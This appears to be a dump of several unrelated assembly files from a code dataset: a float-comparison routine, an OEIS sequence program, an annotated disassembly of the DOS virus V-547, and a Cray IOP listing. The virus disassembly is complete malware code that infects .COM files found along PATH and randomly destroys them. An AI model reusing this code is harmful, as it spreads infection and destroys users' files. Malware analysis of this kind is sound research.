mov rdi, pfstr1 ; string de controle para printf
mov esi, 1
call printf
; eax = scanf("%f %f", &scfF1, &scfF2);
xor rax, rax
mov rdi, scstr1
lea rsi, [scfF1] ; float1 ; Load Efective Address!!!
lea rdx, [scfF2] ; float2
call scanf
movss xmm0, [scfF1]
movss xmm1, [scfF2]
lif1:
COMISS xmm0, xmm1
JP lerro ; para teste, trocar para NJP
JE liguais ; xmm1 == xmm0?
JA lmaior ; xmm1 < xmm0?
JB lmenor ; xmm1 > xmm0?
liguais:
lea rdi, [pfstrIguais]
jmp lfi1
lmenor:
lea rdi, [pfstrMenor]
jmp lfi1
lmaior:
lea rdi, [pfstrMaior]
jmp lfi1
lerro:
lea rdi, [pfstrERRO]
lfi1:
mov rax, 2
cvtss2sd xmm0, [scfF1]
cvtss2sd xmm1, [scfF2]
call printf
fim:
; "destack-frame!"
mov rsp, rbp
pop rbp
mov rax, _exit
mov rdi, 0
syscall
| 20.506024 | 66 | 0.567568 |
2bb0bb3a90be9c4af2bab054164d547f32a87468 | 967 | asm | Assembly | programs/oeis/062/A062300.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/062/A062300.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/062/A062300.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A062300: a(n) = floor(cosec(Pi/(n+1))).
; 1,1,1,1,2,2,2,2,3,3,3,4,4,4,5,5,5,6,6,6,7,7,7,7,8,8,8,9,9,9,10,10,10,11,11,11,12,12,12,13,13,13,14,14,14,14,15,15,15,16,16,16,17,17,17,18,18,18,19,19,19,20,20,20,21,21,21,21,22,22,22,23,23,23,24,24,24,25,25,25,26,26,26,27,27,27,28,28,28,28,29,29,29,30,30,30,31,31,31,32,32,32,33,33,33,34,34,34,35,35,35,35,36,36,36,37,37,37,38,38,38,39,39,39,40,40,40,41,41,41,42,42,42,42,43,43,43,44,44,44,45,45,45,46,46,46,47,47,47,48,48,48,49,49,49,49,50,50,50,51,51,51,52,52,52,53,53,53,54,54,54,55,55,55,56,56,56,56,57,57,57,58,58,58,59,59,59,60,60,60,61,61,61,62,62,62,63,63,63,63,64,64,64,65,65,65,66,66,66,67,67,67,68,68,68,69,69,69,70,70,70,70,71,71,71,72,72,72,73,73,73,74,74,74,75,75,75,76,76,76,77,77,77,77,78,78,78,79,79,79
mov $4,$0
sub $0,4
mul $0,2
sub $0,1
mov $1,$4
div $1,2
mov $3,$4
add $3,4
mov $5,10
lpb $0,1
add $3,1
add $3,$1
add $0,$3
mov $2,1
add $2,$5
div $0,$2
mov $1,1
add $1,$0
mov $0,1
lpe
| 40.291667 | 721 | 0.612203 |
baca9bcca1bb408835fb3769049cd4579f41542c | 11,454 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.path.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.path.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.path.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;----------------------------------------------
; Virus V-547
;
; Dissasembled: Andrzej Kadlof April 1991
;
; (C) Polish Section of Virus Information Bank
;----------------------------------------------
0100 E9FD00 JMP 0200 ; jump to virus
; ....
; victim code
;====================
; virus entry point
0200 EB03 JMP 0205
0202 49 42 4D ; IBM
; set DS to wirus working area
0205 0E PUSH CS
0206 58 POP AX
0207 052000 ADD AX,0020 ; [0208] is modified for each victim
020A 8ED8 MOV DS,AX
; restore oryginal first 3 bytes of victim
020C 8B162002 MOV DX,[0220]
0210 2E89160001 MOV CS:[0100],DX
0215 8A362202 MOV DH,[0222]
0219 2E88360201 MOV CS:[0102],DH
021E B80001 MOV AX,0100 ; application start address
0221 0E PUSH CS ; store on stack
0222 50 PUSH AX
0223 33FF XOR DI,DI
0225 2E8E062C00 MOV ES,CS:[002C] ; segment of environment
022A 51 PUSH CX
022B FC CLD
022C 32C0 XOR AL,AL
022E B90500 MOV CX,0005 ; length of string
0231 BE1B02 MOV SI,021B ; PATH=
0234 F3A6 REPZ CMPSB
0236 740B JZ 0243
0238 B9E803 MOV CX,03E8
023B F2AE REPNZ SCASB
023D 26803D00 CMP BYTE PTR ES:[DI],00
0241 75EB JNZ 022E
0243 8BF7 MOV SI,DI
0245 59 POP CX
0246 51 PUSH CX
0247 B42C MOV AH,2C ; get time
0249 CD21 INT 21
024B F6C601 TEST DH,01 ; seconds
024E 7503 JNZ 0253
0250 E9B401 JMP 0407
0253 88365702 MOV [0257],DH
0257 06 PUSH ES
0258 B42F MOV AH,2F ; Get DTA
025A CD21 INT 21
025C 891E2802 MOV [0228],BX
0260 8C062A02 MOV [022A],ES
0264 07 POP ES
0265 BA2C02 MOV DX,022C
0268 B41A MOV AH,1A ; set DTA
026A CD21 INT 21
026C B44E MOV AH,4E ; find first
026E BA2302 MOV DX,0223
0271 B90800 MOV CX,0008 ; volume label
0274 CD21 INT 21
0276 7219 JB 0291
0278 813E44022110 CMP WORD PTR [0244],1021 ; date: 1988 January 1
027E 7511 JNZ 0291
0280 81264202E0FF AND WORD PTR [0242],FFE0 ; clear seconds
0286 813E42022008 CMP WORD PTR [0242],0820 ; time: 01:01:00
028C 7503 JNZ 0291
028E E96A01 JMP 03FB ; exit to application
; copy founded string to local buffer
0291 BF5802 MOV DI,0258 ; set buffer address
0294 26803C3B CMP BYTE PTR ES:[SI],3B ; ';' end of string marker
0298 740F JZ 02A9
029A 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment
029E 7409 JZ 02A9
02A0 268A04 MOV AL,ES:[SI]
02A3 8805 MOV [DI],AL
02A5 47 INC DI
02A6 46 INC SI
02A7 EBEB JMP 0294 ; copy next character
02A9 81FF5802 CMP DI,0258 ; path name non empty?
02AD 7509 JNZ 02B8 ; jump if no empty
02AF 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment block?
02B3 7403 JZ 02B8 ; jump if yes
02B5 E93801 JMP 03F0 ; no path name, exit
02B8 81FF5802 CMP DI,0258 ; no path name?
02BC 7412 JZ 02D0 ; jump if yes
02BE 26807CFF5C CMP BYTE PTR ES:[SI-01],5C ; '\'
02C3 740B JZ 02D0
02C5 26807CFF2F CMP BYTE PTR ES:[SI-01],2F ; '/'
02CA 7404 JZ 02D0
; add directory sign
02CC C6055C MOV BYTE PTR [DI],5C ; '\'
; add mask
02CF 47 INC DI
02D0 C7052A2E MOV WORD PTR [DI],2E2A ; '*.'
02D4 C74502636F MOV WORD PTR [DI+02],6F63 ; 'co'
02D9 C745046D00 MOV WORD PTR [DI+04],006D ; 'm', 0
02DE B44E MOV AH,4E ; find next
02E0 BA5802 MOV DX,0258 ; path name + mask
02E3 B90300 MOV CX,0003 ; hiden and read only
02E6 CD21 INT 21
02E8 7303 JAE 02ED ; founded
02EA E90301 JMP 03F0 ; search for next path
02ED A14202 MOV AX,[0242] ; file time
02F0 241F AND AL,1F ; extract seconds
02F2 3C1F CMP AL,1F ; 62 seconds?
02F4 7463 JZ 0359 ; yes, infected
02F6 833E480200 CMP WORD PTR [0248],+00 ; high word of file length
02FB 755C JNZ 0359 ; file too long
02FD 813E460200FA CMP WORD PTR [0246],FA00 ; maximum file length
0303 7754 JA 0359
0305 833E46020A CMP WORD PTR [0246],+0A ; minimum file length
030A 724D JB 0359 ; file too short
; copy file name to local buffer
030C BB4A02 MOV BX,024A ; file name
030F B90D00 MOV CX,000D ; length of file name in DTA
0312 57 PUSH DI
0313 8A07 MOV AL,[BX]
0315 8805 MOV [DI],AL
0317 43 INC BX
0318 47 INC DI
0319 E2F8 LOOP 0313
; clear all attributes (CX = 0)
031B C60500 MOV BYTE PTR [DI],00 ; end of ASCIIZ string
031E 5F POP DI
031F B80143 MOV AX,4301 ; set file attribute
0322 CD21 INT 21
0324 B8023D MOV AX,3D02 ; open file for read/write
0327 CD21 INT 21
0329 722E JB 0359 ; find next
032B 8BD8 MOV BX,AX ; handle
032D A14202 MOV AX,[0242] ; file time
0330 241F AND AL,1F ; extract seconds
0332 3C1E CMP AL,1E ; 62?
0334 750A JNZ 0340
; founded file is infected, with probability 1/16 destroy it
0336 802657020F AND BYTE PTR [0257],0F ; "random" number
033B 740A JZ 0347 ; destroy file
033D E98400 JMP 03C4 ; restore file data and exit
; with probability 1/8 destroy file
0340 8026570207 AND BYTE PTR [0257],07
0345 7515 JNZ 035C ; infect file
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; classic Vienna 648 destruction (set firt instruction to JMP F000:FFF0)
0347 B440 MOV AH,40 ; write file
0349 B90500 MOV CX,0005
034C BA1302 MOV DX,0213
034F CD21 INT 21
0351 810E42021F00 OR WORD PTR [0242],001F
0357 EB6B JMP 03C4 ; exit
0359 E98B00 JMP 03E7 ; find next
; infect file
035C B43F MOV AH,3F ; read file
035E B90300 MOV CX,0003 ; 3 bytes
0361 BA2002 MOV DX,0220 ; to local buffer
0364 CD21 INT 21
0366 725C JB 03C4 ; reset file data
0368 3D0300 CMP AX,0003 ; check for error
036B 7557 JNZ 03C4 ; reset file data
036D B80042 MOV AX,4200 ; move file ptr to BOF
0370 B90000 MOV CX,0000
0373 BA0000 MOV DX,0000
0376 CD21 INT 21
0378 724A JB 03C4 ; reset file data
037A A14602 MOV AX,[0246] ; file size
037D 050F00 ADD AX,000F ; addjust to paragraph border
0380 25F0FF AND AX,FFF0
0383 8BE8 MOV BP,AX ; store intermidiate length
0385 2D0300 SUB AX,0003 ; length of JMP XXXX
0388 A31902 MOV [0219],AX ; form JMP XXXX in local buffer
038B B90300 MOV CX,0003 ; number of bytes
038E BA1802 MOV DX,0218 ; address of JMP virus_code
0391 B440 MOV AH,40 ; write file
0393 CD21 INT 21
0395 722D JB 03C4 ; reset file data
0397 B80242 MOV AX,4202 ; move file ptr rel EOF
039A 8BD5 MOV DX,BP ; addjuseted file length
039C 2B164602 SUB DX,[0246] ; real file length
03A0 B90000 MOV CX,0000 ; high word of file end
03A3 CD21 INT 21
03A5 721D JB 03C4 ; restore file data
03A7 81C50001 ADD BP,0100 ; PSP length
03AB B104 MOV CL,04 ; convert to paragraphs
03AD D3ED SHR BP,CL
03AF 892E0800 MOV [0008],BP ; automodyfication of virus code
03B3 B92302 MOV CX,0223 ; virus length
03B6 90 NOP
03B7 BA0000 MOV DX,0000 ; buffer, start of virus code
03BA B440 MOV AH,40 ; write file
03BC CD21 INT 21
03BE 810E42021E00 OR WORD PTR [0242],001E ; set 62 seconds
; restore file time/date stamp
03C4 8B164402 MOV DX,[0244] ; restore file date stamp
03C8 8B0E4202 MOV CX,[0242] ; restore file time stamp
03CC B80157 MOV AX,5701 ; set file time/date stamp
03CF CD21 INT 21
03D1 B43E MOV AH,3E ; close file
03D3 CD21 INT 21
; restore file attributes
03D5 B80143 MOV AX,4301 ; set file attributes
03D8 33C9 XOR CX,CX
03DA 8A0E4102 MOV CL,[0241] ; restore file attributes
03DE BA5802 MOV DX,0258
03E1 03D6 ADD DX,SI
03E3 CD21 INT 21
03E5 EB14 JMP 03FB ; exit
; find next candidate for victim
03E7 B44F MOV AH,4F ; find next
03E9 CD21 INT 21
03EB 7203 JB 03F0 ; search for next path
03ED E9FDFE JMP 02ED ; check file
03F0 46 INC SI
03F1 26807CFF00 CMP BYTE PTR ES:[SI-01],00 ; end of environment block?
03F6 7403 JZ 03FB ; yes, exit
03F8 E996FE JMP 0291 ; search for next path name
; restore DTA
03FB B41A MOV AH,1A ; set DTA
03FD 8B162802 MOV DX,[0228]
0401 8E1E2A02 MOV DS,[022A]
0405 CD21 INT 21
; exit to application
0407 33C0 XOR AX,AX
0409 33DB XOR BX,BX
040B 33D2 XOR DX,DX
040D 33F6 XOR SI,SI
040F 33FF XOR DI,DI
0411 59 POP CX
0412 CB RETF
; working area
0413 EAF0FF00F0 ; JMP F000:FFF0 instruction for destruction
0418 E9 FD 00 ; form new first 3 bytes (JMP 0518)
041B 50 41 54 48 3D ; PATH=
0420 db ? dup (3) ; first 3 bytes of victim
; end of code copied to file
;==============================
; working area
0423 db ? dup (5) ; mask of file name for FindFirst
0428 dd ? ; address of old DTA
042C db ? dup (2C) ; local DTA
; 0 db ? dup (15h) ; reserwed [022C]
; 15h db ? ; atributte [0241]
; 16h dw ? ; time [0242]
; 18h dw ? ; date [0244]
; 1Ah dd ? ; file size [0246]
; 1Eh db ? dup (0Dh) ; file name [024A] ... [0256]
0457 db ? ; system timer seconds
0458 db ? ; buffer for path name from environment
| 33.491228 | 79 | 0.509342 |
234bd9ac5c233f8d4c2da7653463c5907af4d246 | 73,296 | asm | Assembly | target/cos_117/disasm/iop_overlay1/ERR.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 49 | 2020-10-09T12:29:16.000Z | 2022-03-12T02:33:35.000Z | target/cos_117/disasm/iop_overlay1/ERR.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 1 | 2021-12-29T15:59:25.000Z | 2021-12-29T15:59:25.000Z | target/cos_117/disasm/iop_overlay1/ERR.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 6 | 2021-04-12T06:10:32.000Z | 2022-02-08T23:11:19.000Z | 0x0000 (0x000000) 0x1800-0x031D f:00014 d: 0 | A = 797 (0x031D)
0x0002 (0x000004) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0003 (0x000006) 0x2928- f:00024 d: 296 | OR[296] = A
0x0004 (0x000008) 0x2128- f:00020 d: 296 | A = OR[296]
0x0005 (0x00000A) 0x1428- f:00012 d: 40 | A = A + 40 (0x0028)
0x0006 (0x00000C) 0x2929- f:00024 d: 297 | OR[297] = A
0x0007 (0x00000E) 0x7E03-0x022E f:00077 d: 3 | R = OR[3]+558 (0x022E)
0x0009 (0x000012) 0x1800-0x0254 f:00014 d: 0 | A = 596 (0x0254)
0x000B (0x000016) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x000C (0x000018) 0x2920- f:00024 d: 288 | OR[288] = A
0x000D (0x00001A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000E (0x00001C) 0x2921- f:00024 d: 289 | OR[289] = A
0x000F (0x00001E) 0x2128- f:00020 d: 296 | A = OR[296]
0x0010 (0x000020) 0x2922- f:00024 d: 290 | OR[290] = A
0x0011 (0x000022) 0x1020- f:00010 d: 32 | A = 32 (0x0020)
0x0012 (0x000024) 0x2923- f:00024 d: 291 | OR[291] = A
0x0013 (0x000026) 0x100D- f:00010 d: 13 | A = 13 (0x000D)
0x0014 (0x000028) 0x2924- f:00024 d: 292 | OR[292] = A
0x0015 (0x00002A) 0x7520- f:00072 d: 288 | R = P + 288 (0x0135)
0x0016 (0x00002C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0017 (0x00002E) 0x292A- f:00024 d: 298 | OR[298] = A
0x0018 (0x000030) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x001A (0x000034) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x001B (0x000036) 0x292A- f:00024 d: 298 | OR[298] = A
0x001C (0x000038) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x001E (0x00003C) 0x1800-0x025B f:00014 d: 0 | A = 603 (0x025B)
0x0020 (0x000040) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0021 (0x000042) 0x2920- f:00024 d: 288 | OR[288] = A
0x0022 (0x000044) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0023 (0x000046) 0x2921- f:00024 d: 289 | OR[289] = A
0x0024 (0x000048) 0x2128- f:00020 d: 296 | A = OR[296]
0x0025 (0x00004A) 0x2922- f:00024 d: 290 | OR[290] = A
0x0026 (0x00004C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0027 (0x00004E) 0x2923- f:00024 d: 291 | OR[291] = A
0x0028 (0x000050) 0x100E- f:00010 d: 14 | A = 14 (0x000E)
0x0029 (0x000052) 0x2924- f:00024 d: 292 | OR[292] = A
0x002A (0x000054) 0x750B- f:00072 d: 267 | R = P + 267 (0x0135)
0x002B (0x000056) 0x2052- f:00020 d: 82 | A = OR[82]
0x002C (0x000058) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x002D (0x00005A) 0x2908- f:00024 d: 264 | OR[264] = A
0x002E (0x00005C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x002F (0x00005E) 0x291A- f:00024 d: 282 | OR[282] = A
0x0030 (0x000060) 0x211A- f:00020 d: 282 | A = OR[282]
0x0031 (0x000062) 0x8402- f:00102 d: 2 | P = P + 2 (0x0033), A = 0
0x0032 (0x000064) 0x7005- f:00070 d: 5 | P = P + 5 (0x0037)
0x0033 (0x000066) 0x1800-0x0315 f:00014 d: 0 | A = 789 (0x0315)
0x0035 (0x00006A) 0x2920- f:00024 d: 288 | OR[288] = A
0x0036 (0x00006C) 0x7004- f:00070 d: 4 | P = P + 4 (0x003A)
0x0037 (0x00006E) 0x1800-0x0317 f:00014 d: 0 | A = 791 (0x0317)
0x0039 (0x000072) 0x2920- f:00024 d: 288 | OR[288] = A
0x003A (0x000074) 0x2120- f:00020 d: 288 | A = OR[288]
0x003B (0x000076) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x003C (0x000078) 0x2920- f:00024 d: 288 | OR[288] = A
0x003D (0x00007A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x003E (0x00007C) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x003F (0x00007E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0040 (0x000080) 0x2923- f:00024 d: 291 | OR[291] = A
0x0041 (0x000082) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0042 (0x000084) 0x2924- f:00024 d: 292 | OR[292] = A
0x0043 (0x000086) 0x74F2- f:00072 d: 242 | R = P + 242 (0x0135)
0x0044 (0x000088) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x0045 (0x00008A) 0x292A- f:00024 d: 298 | OR[298] = A
0x0046 (0x00008C) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x0048 (0x000090) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0049 (0x000092) 0x292A- f:00024 d: 298 | OR[298] = A
0x004A (0x000094) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x004C (0x000098) 0x1800-0x0262 f:00014 d: 0 | A = 610 (0x0262)
0x004E (0x00009C) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x004F (0x00009E) 0x2920- f:00024 d: 288 | OR[288] = A
0x0050 (0x0000A0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0051 (0x0000A2) 0x2921- f:00024 d: 289 | OR[289] = A
0x0052 (0x0000A4) 0x2128- f:00020 d: 296 | A = OR[296]
0x0053 (0x0000A6) 0x2922- f:00024 d: 290 | OR[290] = A
0x0054 (0x0000A8) 0x1012- f:00010 d: 18 | A = 18 (0x0012)
0x0055 (0x0000AA) 0x2923- f:00024 d: 291 | OR[291] = A
0x0056 (0x0000AC) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x0057 (0x0000AE) 0x2924- f:00024 d: 292 | OR[292] = A
0x0058 (0x0000B0) 0x74DD- f:00072 d: 221 | R = P + 221 (0x0135)
0x0059 (0x0000B2) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x005A (0x0000B4) 0x292A- f:00024 d: 298 | OR[298] = A
0x005B (0x0000B6) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x005D (0x0000BA) 0x1800-0x0277 f:00014 d: 0 | A = 631 (0x0277)
0x005F (0x0000BE) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0060 (0x0000C0) 0x2920- f:00024 d: 288 | OR[288] = A
0x0061 (0x0000C2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0062 (0x0000C4) 0x2921- f:00024 d: 289 | OR[289] = A
0x0063 (0x0000C6) 0x2128- f:00020 d: 296 | A = OR[296]
0x0064 (0x0000C8) 0x2922- f:00024 d: 290 | OR[290] = A
0x0065 (0x0000CA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0066 (0x0000CC) 0x2923- f:00024 d: 291 | OR[291] = A
0x0067 (0x0000CE) 0x104A- f:00010 d: 74 | A = 74 (0x004A)
0x0068 (0x0000D0) 0x2924- f:00024 d: 292 | OR[292] = A
0x0069 (0x0000D2) 0x74CC- f:00072 d: 204 | R = P + 204 (0x0135)
0x006A (0x0000D4) 0x1005- f:00010 d: 5 | A = 5 (0x0005)
0x006B (0x0000D6) 0x292A- f:00024 d: 298 | OR[298] = A
0x006C (0x0000D8) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x006E (0x0000DC) 0x1800-0x029C f:00014 d: 0 | A = 668 (0x029C)
0x0070 (0x0000E0) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0071 (0x0000E2) 0x2920- f:00024 d: 288 | OR[288] = A
0x0072 (0x0000E4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0073 (0x0000E6) 0x2921- f:00024 d: 289 | OR[289] = A
0x0074 (0x0000E8) 0x2128- f:00020 d: 296 | A = OR[296]
0x0075 (0x0000EA) 0x2922- f:00024 d: 290 | OR[290] = A
0x0076 (0x0000EC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0077 (0x0000EE) 0x2923- f:00024 d: 291 | OR[291] = A
0x0078 (0x0000F0) 0x104A- f:00010 d: 74 | A = 74 (0x004A)
0x0079 (0x0000F2) 0x2924- f:00024 d: 292 | OR[292] = A
0x007A (0x0000F4) 0x74BB- f:00072 d: 187 | R = P + 187 (0x0135)
0x007B (0x0000F6) 0x1006- f:00010 d: 6 | A = 6 (0x0006)
0x007C (0x0000F8) 0x292A- f:00024 d: 298 | OR[298] = A
0x007D (0x0000FA) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x007F (0x0000FE) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x0080 (0x000100) 0x292A- f:00024 d: 298 | OR[298] = A
0x0081 (0x000102) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x0083 (0x000106) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0084 (0x000108) 0x291B- f:00024 d: 283 | OR[283] = A
0x0085 (0x00010A) 0x211B- f:00020 d: 283 | A = OR[283]
0x0086 (0x00010C) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x0087 (0x00010E) 0x8427- f:00102 d: 39 | P = P + 39 (0x00AE), A = 0
0x0088 (0x000110) 0x7550- f:00072 d: 336 | R = P + 336 (0x01D8)
0x0089 (0x000112) 0x8602- f:00103 d: 2 | P = P + 2 (0x008B), A # 0
0x008A (0x000114) 0x7022- f:00070 d: 34 | P = P + 34 (0x00AC)
0x008B (0x000116) 0x311A- f:00030 d: 282 | A = (OR[282])
0x008C (0x000118) 0x291C- f:00024 d: 284 | OR[284] = A
0x008D (0x00011A) 0x211C- f:00020 d: 284 | A = OR[284]
0x008E (0x00011C) 0x1203- f:00011 d: 3 | A = A & 3 (0x0003)
0x008F (0x00011E) 0x1430- f:00012 d: 48 | A = A + 48 (0x0030)
0x0090 (0x000120) 0x2920- f:00024 d: 288 | OR[288] = A
0x0091 (0x000122) 0x1033- f:00010 d: 51 | A = 51 (0x0033)
0x0092 (0x000124) 0x2921- f:00024 d: 289 | OR[289] = A
0x0093 (0x000126) 0x7E03-0x023B f:00077 d: 3 | R = OR[3]+571 (0x023B)
0x0095 (0x00012A) 0x211C- f:00020 d: 284 | A = OR[284]
0x0096 (0x00012C) 0x0802- f:00004 d: 2 | A = A > 2 (0x0002)
0x0097 (0x00012E) 0x1203- f:00011 d: 3 | A = A & 3 (0x0003)
0x0098 (0x000130) 0x1430- f:00012 d: 48 | A = A + 48 (0x0030)
0x0099 (0x000132) 0x2920- f:00024 d: 288 | OR[288] = A
0x009A (0x000134) 0x1038- f:00010 d: 56 | A = 56 (0x0038)
0x009B (0x000136) 0x2921- f:00024 d: 289 | OR[289] = A
0x009C (0x000138) 0x7E03-0x023B f:00077 d: 3 | R = OR[3]+571 (0x023B)
0x009E (0x00013C) 0x211C- f:00020 d: 284 | A = OR[284]
0x009F (0x00013E) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004)
0x00A0 (0x000140) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00A1 (0x000142) 0x1430- f:00012 d: 48 | A = A + 48 (0x0030)
0x00A2 (0x000144) 0x2920- f:00024 d: 288 | OR[288] = A
0x00A3 (0x000146) 0x103D- f:00010 d: 61 | A = 61 (0x003D)
0x00A4 (0x000148) 0x2921- f:00024 d: 289 | OR[289] = A
0x00A5 (0x00014A) 0x7E03-0x023B f:00077 d: 3 | R = OR[3]+571 (0x023B)
0x00A7 (0x00014E) 0x2D2A- f:00026 d: 298 | OR[298] = OR[298] + 1
0x00A8 (0x000150) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x00AA (0x000154) 0x7E03-0x022E f:00077 d: 3 | R = OR[3]+558 (0x022E)
0x00AC (0x000158) 0x2D1B- f:00026 d: 283 | OR[283] = OR[283] + 1
0x00AD (0x00015A) 0x7228- f:00071 d: 40 | P = P - 40 (0x0085)
0x00AE (0x00015C) 0x211B- f:00020 d: 283 | A = OR[283]
0x00AF (0x00015E) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008)
0x00B0 (0x000160) 0x845C- f:00102 d: 92 | P = P + 92 (0x010C), A = 0
0x00B1 (0x000162) 0x7527- f:00072 d: 295 | R = P + 295 (0x01D8)
0x00B2 (0x000164) 0x8602- f:00103 d: 2 | P = P + 2 (0x00B4), A # 0
0x00B3 (0x000166) 0x7057- f:00070 d: 87 | P = P + 87 (0x010A)
0x00B4 (0x000168) 0x311A- f:00030 d: 282 | A = (OR[282])
0x00B5 (0x00016A) 0x291C- f:00024 d: 284 | OR[284] = A
0x00B6 (0x00016C) 0x7E03-0x020A f:00077 d: 3 | R = OR[3]+522 (0x020A)
0x00B8 (0x000170) 0x211B- f:00020 d: 283 | A = OR[283]
0x00B9 (0x000172) 0x1606- f:00013 d: 6 | A = A - 6 (0x0006)
0x00BA (0x000174) 0x8002- f:00100 d: 2 | P = P + 2 (0x00BC), C = 0
0x00BB (0x000176) 0x7015- f:00070 d: 21 | P = P + 21 (0x00D0)
0x00BC (0x000178) 0x211C- f:00020 d: 284 | A = OR[284]
0x00BD (0x00017A) 0x080C- f:00004 d: 12 | A = A > 12 (0x000C)
0x00BE (0x00017C) 0x1203- f:00011 d: 3 | A = A & 3 (0x0003)
0x00BF (0x00017E) 0x2920- f:00024 d: 288 | OR[288] = A
0x00C0 (0x000180) 0x2120- f:00020 d: 288 | A = OR[288]
0x00C1 (0x000182) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x00C2 (0x000184) 0x1C00-0x02C1 f:00016 d: 0 | A = A + 705 (0x02C1)
0x00C4 (0x000188) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x00C5 (0x00018A) 0x2920- f:00024 d: 288 | OR[288] = A
0x00C6 (0x00018C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00C7 (0x00018E) 0x2921- f:00024 d: 289 | OR[289] = A
0x00C8 (0x000190) 0x2128- f:00020 d: 296 | A = OR[296]
0x00C9 (0x000192) 0x2922- f:00024 d: 290 | OR[290] = A
0x00CA (0x000194) 0x1012- f:00010 d: 18 | A = 18 (0x0012)
0x00CB (0x000196) 0x2923- f:00024 d: 291 | OR[291] = A
0x00CC (0x000198) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x00CD (0x00019A) 0x2924- f:00024 d: 292 | OR[292] = A
0x00CE (0x00019C) 0x7467- f:00072 d: 103 | R = P + 103 (0x0135)
0x00CF (0x00019E) 0x700A- f:00070 d: 10 | P = P + 10 (0x00D9)
0x00D0 (0x0001A0) 0x211C- f:00020 d: 284 | A = OR[284]
0x00D1 (0x0001A2) 0x080C- f:00004 d: 12 | A = A > 12 (0x000C)
0x00D2 (0x0001A4) 0x1203- f:00011 d: 3 | A = A & 3 (0x0003)
0x00D3 (0x0001A6) 0x1430- f:00012 d: 48 | A = A + 48 (0x0030)
0x00D4 (0x0001A8) 0x2920- f:00024 d: 288 | OR[288] = A
0x00D5 (0x0001AA) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x00D6 (0x0001AC) 0x2921- f:00024 d: 289 | OR[289] = A
0x00D7 (0x0001AE) 0x7E03-0x023B f:00077 d: 3 | R = OR[3]+571 (0x023B)
0x00D9 (0x0001B2) 0x211C- f:00020 d: 284 | A = OR[284]
0x00DA (0x0001B4) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x00DB (0x0001B6) 0x8202- f:00101 d: 2 | P = P + 2 (0x00DD), C = 1
0x00DC (0x0001B8) 0x700F- f:00070 d: 15 | P = P + 15 (0x00EB)
